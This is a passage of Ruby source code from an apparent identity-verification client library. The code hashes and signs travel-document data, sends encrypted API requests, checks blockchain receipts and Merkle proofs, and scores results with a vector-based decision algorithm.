exception") @log.error("#{e.class}, #{e.message}") @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> raw sent data:") @log.error(send_data) @log.error("-> sent data:") @log.error(doc_to_send) end raise e end end end def add_data_point(point_type, input, weight = 1) client_id = @config["client_id"] api_url = @config["api"]["url"] + "v0.4/addDataPoint/" time = Time.now.getutc timestamp = time.to_i document = input if input["type"] == FIELD_TYPE_TRAVEL_DOCUMENT # work with names before hashing surnames_arr = document["surname"] given_names_arr = document["given_names"] if !surnames_arr.kind_of?(Array) surnames_arr = surnames_arr.split end if !given_names_arr.kind_of?(Array) given_names_arr = given_names_arr.split end hashed_surname = "" sep = "" surnames_arr.each { |surname_part| hashed_surname += sep hashed_surname += Digest::SHA512.hexdigest(surname_part.downcase) sep = " " } hashed_given_names = "" sep = "" given_names_arr.each { |given_names_part| hashed_given_names += sep hashed_given_names += Digest::SHA512.hexdigest(given_names_part.downcase) sep = " " } document["given_names"] = hashed_given_names document["surname"] = hashed_surname end document = VChainClient::Client.hash_doc(document) document = VChainClient::Client.cut(document) doc_hash = VChainClient::Client.get_doc_hash(document) credentials_hash = VChainClient::Client.get_credentials_hash(document) if weight > 1 weight = 1 elsif weight < 0 weight = 0 end if @log.debug? @log.debug("CLIENT LIB VERSION: "+ CLIENT_LIB_VERSION) @log.debug("[verify] will call "+ api_url +" using vchain_client_id "+ client_id) @log.debug("-> point_type: "+ point_type) @log.debug("-> weight: "+ weight.to_s) @log.debug("-> timestamp: "+ timestamp.to_s) @log.debug("-> hashed input:") @log.debug(document) end cryptoHelper = VChainClient::Crypto.new(@config) point_signatures = nil begin point_signatures = cryptoHelper.signDataPoint(point_type, document, doc_hash, credentials_hash, weight, timestamp) rescue => e if @log.error? @log.error("[verify] Crypto.signDataPoint raised exception") @log.error("#{e.class}, #{e.message}") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> document:") @log.error(document) end raise e end if point_signatures == nil if @log.error? @log.error("[verify] failed to Crypto.signDataPoint") @log.error("-> point_type: "+ point_type) @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> document:") @log.error(document) end return false end if @log.debug? @log.debug("[verify] point_signatures:") @log.debug(point_signatures) end document = Hash[document.sort] if @log.debug? @log.debug("[verify] hashed input after sort:") @log.debug(document) end whole_signature = nil begin whole_signature = cryptoHelper.signRequest(document, point_type, weight, timestamp) rescue => e if @log.error? @log.error("[verify] Crypto.signRequest raised exception:") @log.error("#{e.class}: #{e.message}") @log.error("-> point_type: #{point_type}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> document:") @log.error(document) end raise e else if whole_signature == nil if @log.error? @log.error("[verify] failed to sign request") @log.error("-> point_type: #{point_type}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> document:") @log.error(document) end return false end if @log.debug? @log.debug("[verify] Crypto.signRequest went well, whole_signature:") @log.debug(whole_signature) end end send_data = {} send_data["data"] = document send_data["weight"] = weight.to_s send_data["timestamp"] = timestamp.to_s send_data["type"] = point_type send_data["point_signatures"] = point_signatures send_data["signature"] = whole_signature cyphered_data = cryptoHelper.encodeCypher(send_data.to_json) encoded_key = cryptoHelper.encodeRSA(cyphered_data["key"]) encoded_iv = cryptoHelper.encodeRSA(cyphered_data["iv"]) doc_to_send = { "key" => Base64.encode64(encoded_key), "iv" => Base64.encode64(encoded_iv), "payload" => Base64.encode64(cyphered_data["payload"]), "client_id" => client_id } if @log.debug? @log.debug("[verify] send_data:") @log.debug(doc_to_send) end begin req = RestClient.post(api_url, doc_to_send.to_json, {'Content-Type' => 'application/json'}) if req.code != 200 if @log.error? @log.error("[verify] response with code "+ req.code.to_s) @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> point_type: #{point_type}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> raw sent data:") @log.error(send_data) @log.error("-> sent data:") @log.error(doc_to_send) end return false end if @log.debug? @log.debug("[verify] response code is 200:") @log.debug(req.body) end return true rescue => e if @log.error? @log.error("[verify] RestClient.post raised exception") @log.error("#{e.class}, #{e.message}") @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> point_type: #{point_type}") @log.error("-> weight: "+ weight.to_s) @log.error("-> timestamp: "+ timestamp.to_s) @log.error("-> raw sent data:") @log.error(send_data) @log.error("-> sent data:") @log.error(doc_to_send) end raise e end end def generate_batch_check(input_arr) if !input_arr.kind_of?(Array) if @log.error? @log.error("[generate_batch_check] input should be array") @log.error("-> input_arr:") @log.error(input_arr) end return false end output = [] input_arr.each { |raw_document| names = {} if raw_document["type"] == FIELD_TYPE_TRAVEL_DOCUMENT names = raw_document["names"] raw_document.delete("names") end out_document = VChainClient::Client.hash_doc(raw_document) out_document = VChainClient::Client.cut(out_document) if out_document["type"] == FIELD_TYPE_TRAVEL_DOCUMENT_HASHED out_document["names"] = [] names.each { |name| name_hash = Digest::SHA512.hexdigest(name.downcase) out_document["names"].push(name_hash) } end output.push(out_document) } return output end def check(input, is_already_hashed = false, preffered_decision_algo = nil) cryptoHelper = VChainClient::Crypto.new(@config) client_id = @config["client_id"] api_url = @config["api"]["url"] + "v0.4/check/"; document = input names = {} if (!is_already_hashed && document["type"] == FIELD_TYPE_TRAVEL_DOCUMENT) || (is_already_hashed && document["type"] == FIELD_TYPE_TRAVEL_DOCUMENT_HASHED) names = document["names"] document.delete("names") end if (!is_already_hashed) document = VChainClient::Client.hash_doc(document) end document = VChainClient::Client.cut(document) if document["type"] == FIELD_TYPE_TRAVEL_DOCUMENT_HASHED document["names"] = [] names.each { |name| name_hash = name if (!is_already_hashed) name_hash = Digest::SHA512.hexdigest(name.downcase) end document["names"].push(name_hash) } end sent_document = document.clone cyphered_data = cryptoHelper.encodeCypher(document.to_json) encoded_key = cryptoHelper.encodeRSA(cyphered_data["key"]) encoded_iv = cryptoHelper.encodeRSA(cyphered_data["iv"]) doc_to_send = { "key" => Base64.encode64(encoded_key), "iv" => Base64.encode64(encoded_iv), "payload" => Base64.encode64(cyphered_data["payload"]), "client_id" => client_id } if @log.debug? @log.debug("[check] will call "+ api_url +" using vchain_client_id "+ client_id) @log.debug("-> is_already_hashed: #{is_already_hashed}") @log.debug("-> hashed input:") @log.debug(document) @log.debug("-> sending:") @log.debug(doc_to_send) end req = nil begin res = nil if names.length > 4 res = RestClient::Resource.new api_url, :timeout => nil, :open_timeout => nil else res = RestClient::Resource.new api_url end req = res.post doc_to_send.to_json, :content_type => 'application/json' if req.code != 200 if @log.error? @log.error("[check] response with code "+ req.code.to_s) @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> is_already_hashed: #{is_already_hashed}") @log.error("-> sent data:") @log.error(document) end return false end rescue => e if @log.error? @log.error("[check] RestClient.post raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("-> client_id: #{client_id}") @log.error("-> api_url: #{api_url}") @log.error("-> is_already_hashed: #{is_already_hashed}") @log.error("-> sent data:") @log.error(document) end raise e end res = JSON.parse req.body if @log.debug? @log.debug("response:") @log.debug(req.body) end if res["status"].downcase == "error" return { "status" => "error", "reason" => res["error_reason_code"] } else # success result res_key = cryptoHelper.decodeRSA(Base64.decode64(res["key"])) res_iv = cryptoHelper.decodeRSA(Base64.decode64(res["iv"])) res_docs = cryptoHelper.decodeCypher(Base64.decode64(res["docs"]), res_key, res_iv) res_data_points = cryptoHelper.decodeCypher(Base64.decode64(res["data_points"]), res_key, res_iv) res_names = cryptoHelper.decodeCypher(Base64.decode64(res["names"]), res_key, res_iv) res = { "docs" => JSON.parse(res_docs), "data_points" => JSON.parse(res_data_points), "names" => JSON.parse(res_names) } validated_data_points = self.validate_data_points(res["data_points"], res["docs"]) if validated_data_points.length == 0 # not found result = {} sent_document.each { |field, value| result[field] = 0 } return { "status" => "success", "result" => { "decision_made" => true, "decision" => "NO_DATA" } } end # # decision # decisionAlgo = nil if preffered_decision_algo == nil # falling to default algo decisionAlgo = VChainClient::VectorBasedDecisionAlgorithm.new(@config) end decision = decisionAlgo.make_decision(sent_document, res, validated_data_points) # result output return { "status" => "success", "result" => decision } end end def validate_data_points(data_points, documents) output = {} blockchainConnection = VChainClient::BlockchainConnection.new(@config) blockstackClient = VChainClient::BlockstackClient.new(@config) cryptoHelper = VChainClient::Crypto.new(@config) documents_index = {} documents.each { |document| hashed_doc = VChainClient::Client.full_hash(document) hashed_doc["original_doc_hash"] = VChainClient::Client.get_doc_hash(document) documents_index[hashed_doc["doc_hash"]] = hashed_doc } data_points.each { |data_point| if @config.key?("do_not_check") && @config["do_not_check"] == true if !output.key?(data_point["doc_hash"]) output[data_point["doc_hash"]] = {} end if !output[data_point["doc_hash"]].key?(data_point["field_hash"]) output[data_point["doc_hash"]][data_point["field_hash"]] = 0 end # add weight coming from the data_point output[data_point["doc_hash"]][data_point["field_hash"]] += (1 * data_point["weight"].to_f) next end if !data_point.key?("blockchain_reciepts") if @log.error? @log.error("[check] not a valid data point - no blockchain_reciepts key") @log.error(data_point) end next end if data_point["blockchain_reciepts"].length <= 0 if @log.error? @log.error("[check] not a valid data point - blockchain_reciepts is empty") @log.error(data_point) end next end if !documents_index.key?(data_point["doc_hash"]) if @log.error? @log.error("[check] not a valid data point - no such doc_hash in docs returned") @log.error(data_point) end next end document = documents_index[data_point["doc_hash"]] doc_hash = Digest::SHA512.hexdigest(document["original_doc_hash"]) # 1a. check doc_hash if doc_hash != data_point["doc_hash"] if @log.error? @log.error("[check] not a valid data point - doc_hash mismatch ("+ data_point["doc_hash"] +")") end next end # 1b. check field_hash if !document.key?(data_point["field_hash"]) if @log.error? @log.error("[check] not a valid data point - field_hash mismatch ("+ data_point["field_hash"] +")") end next end # 1c. check data_hash data_hash = document[data_point["field_hash"]] if data_hash != data_point["data_hash"] if @log.error? @log.error("[check] not a valid data point - data_hash mismatch ("+ data_hash +")") end next end # 1d. check data_point_hash checksum_to_hash = data_point["field_hash"] + data_point["data_hash"] + data_point["doc_hash"] + data_point["credentials_hash"] + data_point["type"] + data_point["issuer_sig"] + data_point["issuer_id"] + data_point["validator_sig"] + data_point["validator_id"] + data_point["weight"] + data_point["timestamp"] + data_point["version"] checksum = Digest::SHA512.hexdigest(checksum_to_hash) if checksum != data_point["data_point_hash"] if @log.error? @log.error("[check] not a valid data point - checksum mismatch ("+ checksum +")") end next end # 2. check verification_hash to be in target_proof's # first element reciepts_validated = 0 data_point["blockchain_reciepts"].each { |reciept| if !reciept.key?("target_proof") if @log.error? @log.error("[check] not a valid blockchain reciept - no target_proof") @log.error(reciept) end break end if reciept["target_proof"].length <= 0 if @log.error? @log.error("[check] not a valid blockchain reciept - target_proof length is <= 0") @log.error(reciept) end break end if reciept["target_proof"][0]["left"] != data_point["data_point_hash"] && reciept["target_proof"][0]["right"] != data_point["data_point_hash"] if @log.error? @log.error("[check] not a valid blockchain reciept - no target element in target_proof.0") @log.error(reciept) end break end # verification_hash is in tree # and in right position # now, # 3. check tree convergence to root hash # and compare this computed root hash # with merkle_tree_root_hash from response computed_tree_root_hash = self.build_merkle_tree(reciept["target_proof"], reciept["timestamp"]) if computed_tree_root_hash == nil if @log.error? @log.error("[check] not a valid blockchain reciept - failed to compute tree root hash") @log.error(reciept) end break end if computed_tree_root_hash != reciept["merkle_tree_root_hash"] if @log.error? @log.error("[check] not a valid blockchain reciept - merkle tree root hash mismatch ("+ computed_tree_root_hash +", "+ reciept["merkle_tree_root_hash"] +")") @log.error(reciept) end break end last_proof_index = reciept["target_proof"].length - 1 reciept_stored_last_parent = reciept["target_proof"][last_proof_index]["parent"] if reciept_stored_last_parent != computed_tree_root_hash if @log.error? @log.error("[check] not a valid blockchain reciept - last stored parent != computed_tree_root_hash ("+ reciept_stored_last_parent +", "+ computed_tree_root_hash +")") @log.error(reciept) end break end # 4. check OP_RETURN in Bitcoin's tx, # compare it to computed root hash of a tree # retrieve some info from tx to verify signature tx = nil begin tx = blockchainConnection.getTx(reciept["blockchain_txid"]) rescue => e if @log.error? @log.error("[check] BlockchainConnection.getTx raised exception:") @log.error("#{e.class}, #{e.message}") end raise e end if tx == nil if @log.error? @log.error("[check] not a valid blockchain reciept - failed to retrieve TX from Blockchain") @log.error(reciept) end break end if tx["block_hash"] != reciept["blockchain_block_hash"] if @log.error? @log.error("[check] not a valid blockchain reciept - block_hash mismatch") @log.error(tx) @log.error(reciept) end break end if tx["block_timestamp"] != reciept["blockchain_timestamp"] if @log.error? @log.error("[check] not a valid blockchain reciept - timestamp mismatch") @log.error(tx) @log.error(reciept) end break end if tx["op_return"] != computed_tree_root_hash if @log.error? @log.error("[check] not a valid blockchain reciept - op_return mismatch") @log.error(computed_tree_root_hash) @log.error(tx) @log.error(reciept) end break end blockchain_txid = reciept["blockchain_txid"]; blockchain_block_hash = tx["block_hash"]; blockchain_timestamp = tx["block_timestamp"]; # 5. check tree signature: # a) federative server record in Blockstack (recursive) # b) tree_signature # a) federative server record in Blockstack (recursive) begin if !blockstackClient.checkFederativeServer(reciept["federative_server_id"]) if @log.error? @log.error("[check] not a valid blockchain reciept - failed to check federative server") @log.error(reciept) end break end rescue => e if @log.error? @log.error("[check] Blockstack.checkFederativeServer raised exception:") @log.error("#{e.class}, #{e.message}") @log.error(reciept) end raise e end # b) check tree signature federative_server_pubkey = nil begin federative_server_pubkey = blockstackClient.getPublicKeyECC(reciept["federative_server_id"]) rescue => e if @log.error? @log.error("[check] Blockstack.getPublicKeyECC raised exception:") @log.error("#{e.class}, #{e.message}") @log.error(reciept) end raise e end if federative_server_pubkey == nil if @log.error? @log.error("[check] not a valid blockchain reciept - failed to retrieve public key for federative server '"+ reciept["federative_server_id"] +"'") @log.error(reciept) end break end begin if !cryptoHelper.checkTreeSignature(computed_tree_root_hash, blockchain_txid, blockchain_block_hash, blockchain_timestamp, reciept["federative_server_id"], reciept["federative_server_version"], Base64.decode64(reciept["tree_signature"]), federative_server_pubkey) if @log.error? @log.error("[check] not a valid blockchain reciept - failed to verify tree signature") @log.error(reciept) @log.error("--> computed_tree_root_hash: #{computed_tree_root_hash}") @log.error("--> blockchain_txid: #{blockchain_txid}") @log.error("--> blockchain_block_hash: #{blockchain_block_hash}") @log.error("--> blockchain_timestamp: #{blockchain_timestamp}") @log.error("--> federative_server_id: "+ reciept["federative_server_id"]) @log.error("--> federative_server_version: "+ reciept["federative_server_version"]) @log.error("--> tree_signature: "+ Base64.decode64(reciept["tree_signature"])) @log.error("--> federative_server_pubkey: #{federative_server_pubkey}") end break end rescue => e if @log.error? @log.error("[check] Blockstack.checkTreeSignature raised exception:") @log.error("#{e.class}, #{e.message}") @log.error(reciept) @log.error("--> computed_tree_root_hash: #{computed_tree_root_hash}") @log.error("--> blockchain_txid: #{blockchain_txid}") @log.error("--> blockchain_block_hash: #{blockchain_block_hash}") @log.error("--> blockchain_timestamp: #{blockchain_timestamp}") @log.error("--> federative_server_id: "+ reciept["federative_server_id"]) @log.error("--> federative_server_version: "+ reciept["federative_server_version"]) @log.error("--> tree_signature: "+ Base64.decode64(reciept["tree_signature"])) @log.error("--> federative_server_pubkey: #{federative_server_pubkey}") end raise e end reciepts_validated += 1 } if reciepts_validated != data_point["blockchain_reciepts"].length if @log.error? @log.error("[check] not a valid verification - not every reciept were validated") end next end # 6. check verification signatures: # a) check verificator record in Blockstack (recursive) # b) check validator record in Blockstack (recursive) # c) verificator_sig # d) validtor_sig # a) check verificator record in Blockstack (recursive) begin if !blockstackClient.checkVerificator(data_point["issuer_id"]) if @log.error? @log.error("[check] not a valid verification - failed to check verificator record") @log.error("--> verificator_id: "+ data_point["issuer_id"]) end next end rescue => e if @log.error? @log.error("[check] Blockstack.checkVerificator raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("--> verificator_id: "+ data_point["issuer_id"]) end raise e end # b) check validator record in Blockstack (recursive) begin if !blockstackClient.checkValidator(data_point["validator_id"]) if @log.error? @log.error("[check] not a valid verification - failed to check validator record") @log.error("--> validator_id: "+ data_point["validator_id"]) end next end rescue => e if @log.error? @log.error("[check] Blockstack.checkValidator raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("--> validator_id: "+ data_point["validator_id"]) end raise e end # c) check verificator's signature verificator_pubkey = nil begin verificator_pubkey = blockstackClient.getPublicKeyECC(data_point["issuer_id"]) rescue => e if @log.error? @log.error("[check] Blockstack.getPublicKeyECC raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("--> verificator_id: "+ data_point["issuer_id"]) end raise e end if verificator_pubkey == nil if @log.error? @log.error("[check] failed to retrieve public key for verificator") @log.error(document) @log.error("--> verificator_id: "+ data_point["issuer_id"]) end next end if @log.debug? @log.debug("verificator pubkey:") @log.debug(verificator_pubkey) end begin if !cryptoHelper.checkVerificationSignature(data_point["field_hash"], data_point["data_hash"], data_point["doc_hash"], data_point["credentials_hash"], data_point["type"], data_point["weight"], data_point["timestamp"], data_point["issuer_id"], verificator_pubkey, Base64.decode64(data_point["issuer_sig"]), data_point["version"]) if @log.error? @log.error("[check] not a valid verification - failed to check verificator signature") @log.error("--> field_hash: "+ data_point["field_hash"]) @log.error("--> data_hash: "+ data_point["data_hash"]) @log.error("--> doc_hash: "+ data_point["doc_hash"]) @log.error("--> credentials_hash: "+ data_point["credentials_hash"]) @log.error("--> type: "+ data_point["type"]) @log.error("--> weight: "+ data_point["weight"].to_s) @log.error("--> timestamp: "+ data_point["timestamp"].to_s) @log.error("--> verificator_id: "+ data_point["issuer_id"]) @log.error("--> verificator_pubkey: "+ verificator_pubkey) @log.error("--> verificator_sig: "+ data_point["issuer_sig"]) end next end rescue => e if @log.error? @log.error("[check] Crypto.checkVerificationSignature raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("--> field_hash: "+ data_point["field_hash"]) @log.error("--> data_hash: "+ data_point["data_hash"]) @log.error("--> doc_hash: "+ data_point["doc_hash"]) @log.error("--> credentials_hash: "+ data_point["credentials_hash"]) @log.error("--> type: "+ data_point["type"]) @log.error("--> weight: "+ data_point["weight"].to_s) @log.error("--> timestamp: "+ data_point["timestamp"].to_s) @log.error("--> verificator_id: "+ data_point["issuer_id"]) @log.error("--> verificator_pubkey: "+ verificator_pubkey) @log.error("--> verificator_sig: "+ data_point["issuer_sig"]) end raise e end # d) check validator's signature validator_pubkey = nil begin validator_pubkey = blockstackClient.getPublicKeyECC(data_point["validator_id"]) rescue => e if @log.error? @log.error("[check] Blockstack.getPublicKeyECC raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("--> validator_id: "+ data_point["validator_id"]) end raise e end if validator_pubkey == nil if @log.error? @log.error("[check] failed to retrieve pubic key for validator") @log.error("--> validator_id: "+ data_point["validator_id"]) end next end if @log.debug? @log.debug("validator pubkey:") @log.debug(validator_pubkey) end begin if !cryptoHelper.checkVerificationSignature(data_point["field_hash"], data_point["data_hash"], data_point["doc_hash"], data_point["credentials_hash"], data_point["type"], data_point["weight"], data_point["timestamp"], data_point["validator_id"], validator_pubkey, Base64.decode64(data_point["validator_sig"]), data_point["version"]) if @log.error? @log.error("[check] not a valid verification - failed to check validator signature") @log.error("--> field_hash: "+ data_point["field_hash"]) @log.error("--> data_hash: "+ data_point["data_hash"]) @log.error("--> doc_hash: "+ data_point["doc_hash"]) @log.error("--> credentials_hash: "+ data_point["credentials_hash"]) @log.error("--> type: "+ data_point["type"]) @log.error("--> weight: "+ data_point["weight"].to_s) @log.error("--> timestamp: "+ data_point["timestamp"].to_s) @log.error("--> validator_id: "+ data_point["validator_id"]) @log.error("--> validator_pubkey: "+ validator_pubkey) @log.error("--> validator_sig: "+ Base64.encode64(data_point["validator_sig"])) end next end rescue => e if @log.error? @log.error("[check] Crypto.checkVerificationSignature raised exception:") @log.error("#{e.class}, #{e.message}") @log.error("--> field_hash: "+ data_point["field_hash"]) @log.error("--> data_hash: "+ data_point["data_hash"]) @log.error("--> doc_hash: "+ data_point["doc_hash"]) @log.error("--> credentials_hash: "+ data_point["credentials_hash"]) @log.error("--> type: "+ data_point["type"]) @log.error("--> weight: "+ data_point["weight"].to_s) @log.error("--> timestamp: "+ data_point["timestamp"].to_s) @log.error("--> validator_id: "+ data_point["validator_id"]) @log.error("--> validator_pubkey: "+ validator_pubkey) @log.error("--> validator_sig: "+ Base64.encode64(data_point["validator_sig"])) end raise e end # 7. timestamps checking # TODO if !output.key?(data_point["doc_hash"]) output[data_point["doc_hash"]] = {} end if !output[data_point["doc_hash"]].key?(data_point["field_hash"]) output[data_point["doc_hash"]][data_point["field_hash"]] = 0 end # add weight coming from the data_point output[data_point["doc_hash"]][data_point["field_hash"]] += (1 * data_point["weight"].to_f) } return output end def self.generateBlockstackCommand(config, role = "verificator", validator_sig_v2 = nil, validator_sig_v3 = nil) OpenSSL::PKey::EC.send(:alias_method, :private?, :private_key?) blockstack_id = config["blockstack"]["client_id"] #A1 ECC pubkey ecc_public_key_location = config["ecc_public_key_location"] ecc_pub_key = File.read(ecc_public_key_location) ecc_pub_key.slice! "-----BEGIN PUBLIC KEY-----\n" ecc_pub_key.slice! "\n-----END PUBLIC KEY-----\n" ecc_pub_key_aligned = ecc_pub_key.gsub(/\n/, "") #A2 vchain_client_id vchain_client_id = config["client_id"] #A4 validator_vchain_id validator_vchain_id = "da93b5f7-2295-4435-a67a-4fc226eca3ac" #A5 validator_blockstack_id validator_blockstack_id = "vchain_core_01.id" #A6 vchain_role vchain_role = role #A7 sig_version sig_version = "3" priv_key_path = config["ecc_private_key_location"] priv_key = File.read(priv_key_path) #A9 RSA pubkey rsa_public_key_location = config["rsa_public_key_location"] rsa_pub_key = File.read(rsa_public_key_location) rsa_pub_key.slice! "-----BEGIN PUBLIC KEY-----\n" rsa_pub_key.slice! "\n-----END PUBLIC KEY-----\n" rsa_pub_key_aligned = rsa_pub_key.gsub(/\n/, "") whole_sign_v2 = vchain_client_id + vchain_role + blockstack_id + ecc_pub_key + rsa_pub_key + "2" whole_sign_v3 = vchain_client_id + vchain_role + blockstack_id + ecc_pub_key_aligned + rsa_pub_key_aligned + sig_version ec = OpenSSL::PKey::EC.new(priv_key) digest = OpenSSL::Digest::SHA256.new whole_signature_v2 = ec.sign(digest, whole_sign_v2) whole_signature_v3 = ec.sign(digest, whole_sign_v3) #A8 client_sig v2 client_sig_v2 = Base64.encode64(whole_signature_v2).gsub(/\n/, "") #A10 client_sig v3 client_sig_v3 = Base64.encode64(whole_signature_v3).gsub(/\n/, "") if validator_sig_v2 == nil || validator_sig_v3 == nil puts "blockstack_id = " + blockstack_id puts "vchain_client_id = " + vchain_client_id puts "ecc_pub_key = "+ ecc_pub_key_aligned puts "rsa_pub_key = "+ rsa_pub_key_aligned puts "validator_vchain_id = "+ validator_vchain_id puts "vchain_role = " + vchain_role puts "client_sig_v2 = " + client_sig_v2 puts "client_sig_v3 = " + client_sig_v3 else puts "BLOCKSTACK_DEBUG=1 blockstack update "+ blockstack_id +" '$ORIGIN "+ blockstack_id +" $TTL 3600 A1 TXT \""+ ecc_pub_key_aligned +"\" A2 TXT \""+ vchain_client_id +"\" A3 TXT \""+ validator_sig_v2 +"\" A4 TXT \""+ validator_vchain_id +"\" A5 TXT \""+ validator_blockstack_id +"\" A6 TXT \""+ vchain_role +"\" A7 TXT \""+ sig_version +"\" A8 TXT \""+ client_sig_v2 +"\" A9 TXT \""+ rsa_pub_key_aligned +"\" A10 TXT \""+ client_sig_v3 +"\" A11 TXT \""+ validator_sig_v3 +"\" _tcp._http URI 10 1 \"http://example.com\" '" end end end end<file_sep>module VChainClient class VectorBasedDecisionAlgorithm < VChainClient::DecisionAlgorithm @log = nil @config = nil CREDENTIALS_FIELD_WEIGHT = 1 NON_CREDENTIALS_FIELD_WEIGHT = 1 PROBABILITY_THRESHOLD = 80 def initialize(app_config) @config = app_config @log = Log4r::Logger["vchain_client"] end def get_vector_weight(vector, credentials_fields) vector_weight = 0 vector.each { |field_hash, values| field = values[1] if field_hash != "names_parts" weight = values[2] if credentials_fields.include?(field) vector_weight += weight * CREDENTIALS_FIELD_WEIGHT else vector_weight += weight * NON_CREDENTIALS_FIELD_WEIGHT end end } return vector_weight end def make_decision(sent_document, res, validated_data_points) sent_type_credentials_fields = VChainClient::Client.get_credentials_fields(sent_document["type"]) # total_response_weight = 0 # # sent_document_fully_hashed = VChainClient::Client.full_hash(sent_document) # # sent_type_credentials_fields_hashed = [] # sent_type_credentials_fields.each { |credentials_field| # sent_type_credentials_fields_hashed.push(Digest::SHA512.hexdigest(credentials_field)) # } # # validated_data_points.each { |data_point_hash, validated_data_point| # validated_data_point.each { |field_hashed, weight| # # if sent_document_fully_hashed.key?(field_hashed) || sent_type_credentials_fields_hashed.include?(field_hashed) # # if sent_type_credentials_fields_hashed.include?(field_hashed) # total_response_weight += weight * CREDENTIALS_FIELD_WEIGHT # else # total_response_weight += weight * NON_CREDENTIALS_FIELD_WEIGHT # end # # end # } # } # 1. cut non-input fields, rebuild doc_hashes # 2. build vectors out of cut documents cut_res_docs = [] vectors = [] res["docs"].each { |res_doc| cut_doc = {} vector = {} names_parts = {} if res_doc.key?("names_parts") names_parts = res_doc["names_parts"] res_doc.delete("names_parts") end full_doc_hash = VChainClient::Client.get_doc_hash(res_doc) res_doc.each { |res_doc_field, res_doc_value| if sent_document.key?(res_doc_field) || sent_type_credentials_fields.include?(res_doc_field) cut_doc[res_doc_field] = res_doc_value vector[Digest::SHA512.hexdigest(res_doc_field)] = [res_doc_value, res_doc_field, 0] end } cut_doc["doc_hash"] = VChainClient::Client.get_doc_hash(cut_doc) cut_doc["full_doc_hash"] = full_doc_hash hashed_full_doc_hash = Digest::SHA512.hexdigest(full_doc_hash); if validated_data_points.key?(hashed_full_doc_hash) data_points = validated_data_points[hashed_full_doc_hash] data_points.each { |data_point_field, data_point_value| if vector.key?(data_point_field) vector[data_point_field][2] += data_point_value end } end if !names_parts.empty? cut_doc["names_parts"] = names_parts vector["names_parts"] = names_parts end vectors.push(vector) cut_res_docs.push(cut_doc) } res["docs"] = cut_res_docs # 3. combine vectors part 1 - marking => absorb smaller, merge equal for i in 0..(vectors.length - 1) vector_i = vectors[i] for j in i+1..(vectors.length - 1) if j >= vectors.length break end vector_j = vectors[j] i_is_less_j = false j_is_less_i = false need_to_combine = true vector_i.each { |vector_i_hashed_field, vector_i_values| if vector_i_hashed_field != "names_parts" && vector_i_hashed_field != "resolutions" if !vector_j.key?(vector_i_hashed_field) j_is_less_i = true else vector_j_values = vector_j[vector_i_hashed_field] if vector_i_values[0] != vector_j_values[0] need_to_combine = false break end end end } vector_j.each { |vector_j_hashed_field, vector_j_values| if vector_j_hashed_field != "names_parts" && vector_j_hashed_field != "resolutions" if !vector_i.key?(vector_j_hashed_field) i_is_less_j = true else vector_i_values = vector_i[vector_j_hashed_field] if vector_j_values[0] != vector_i_values[0] need_to_combine = false break end end end } if need_to_combine if i_is_less_j && j_is_less_i # differs, no need to combine elsif i_is_less_j && !j_is_less_i # combine i to j if !vectors[i].key?("resolutions") vectors[i]["resolutions"] = [] end if !vectors[j].key?("resolutions") vectors[j]["resolutions"] = [] end vectors[i]["resolutions"].push(["combine_to", j]) vectors[j]["resolutions"].push(["absorb", i]) elsif !i_is_less_j && j_is_less_i # combine j to i if !vectors[i].key?("resolutions") vectors[i]["resolutions"] = [] end if !vectors[j].key?("resolutions") vectors[j]["resolutions"] = [] end vectors[j]["resolutions"].push(["combine_to", i]) vectors[i]["resolutions"].push(["absorb", j]) else # equals, combine j to i and delete j if !vectors[i].key?("resolutions") vectors[i]["resolutions"] = [] end if !vectors[j].key?("resolutions") vectors[j]["resolutions"] = [] end vectors[j]["resolutions"].push(["combine_to", i]) vectors[i]["resolutions"].push(["absorb", j]) end end end end # 4. combine vectors part 2 - resolutions execution => absorb smaller, merge equal vectors_to_remove = [] for i in 0..(vectors.length-1) vector_i = vectors[i] if vector_i.key?("resolutions") need_to_delete = false vector_i["resolutions"].each { |resolution| resolution_type = resolution[0] if resolution_type == "combine_to" vector_i["resolutions"].each { |resolution_b| if resolution_b[0] == "absorb" if !vectors[resolution[1]].key?("resolutions") vectors[resolution[1]]["resolutions"] = [] end # check for dublicates need_to_add = true vectors[resolution[1]]["resolutions"].each { |resolution_c| if resolution_c[0] == resolution_b[0] && resolution_c[1] == resolution_b[1] need_to_add = false break end } if need_to_add vectors[resolution[1]]["resolutions"].push(resolution_b) end end } need_to_delete = true end } if need_to_delete vectors_to_remove.push(i) end end end for i in 0..(vectors.length - 1) vector_i = vectors[i] if vector_i.key?("resolutions") if !vectors_to_remove.include?(i) vector_i["resolutions"].each { |resolution| if resolution[0] == "absorb" vector_j = vectors[resolution[1]] vector_j.each { |vector_j_hashed_field, vector_j_values| if vector_j_hashed_field != "names_parts" && vector_j_hashed_field != "resolutions" vectors[i][vector_j_hashed_field][2] += vector_j_values[2] end } end } vectors[i].delete("resolutions") end end end # remove marked vectors vectors_removed_number = 0 vectors_to_remove.each { |index| vectors.delete_at(index - vectors_removed_number) vectors_removed_number += 1 } total_response_weight = 0 vectors.each { |vector| vector_weight = self.get_vector_weight(vector, sent_type_credentials_fields) total_response_weight += vector_weight } diff_variants = [] vectors.each { |vector| vector_weight = self.get_vector_weight(vector, 